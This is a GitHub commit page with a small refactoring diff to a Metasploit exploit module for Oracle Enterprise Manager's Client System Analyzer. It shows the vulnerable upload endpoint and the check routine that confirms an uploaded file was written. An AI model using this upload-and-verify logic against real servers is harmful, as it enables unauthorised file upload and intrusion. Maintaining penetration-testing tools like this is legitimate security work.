Skip to content

Commit 1546aa6

Browse files
committed
No need to repeat the default values
1 parent 9054faf commit 1546aa6

File tree

1 file changed

+1
-7
lines changed

1 file changed

+1
-7
lines changed

modules/exploits/windows/oracle/client_system_analyzer_upload.rb

Lines changed: 1 addition & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -96,9 +96,7 @@ def upload_file(data)
9696
res = send_request_cgi(
9797
{
9898
'uri' => '/em/ecm/csa/v10103/CSAr.jsp',
99-
'version' => '1.1',
10099
'method' => 'POST',
101-
'ctype' => "application/x-www-form-urlencoded",
102100
'data' => data
103101
})
104102

@@ -122,11 +120,7 @@ def check
122120
end
123121

124122
print_status("Checking uploaded contents...")
125-
res = send_request_cgi(
126-
{
127-
'uri' => "/em/CSA#{file_name}.txt",
128-
'method' => 'GET'
129-
})
123+
res = send_request_raw({'uri' => "/em/CSA#{file_name}.txt"})
130124

131125
if res and res.code == 200 and res.body =~ /#{file_contents}/
132126
return Exploit::CheckCode::Vulnerable

0 commit comments

Comments
 (0)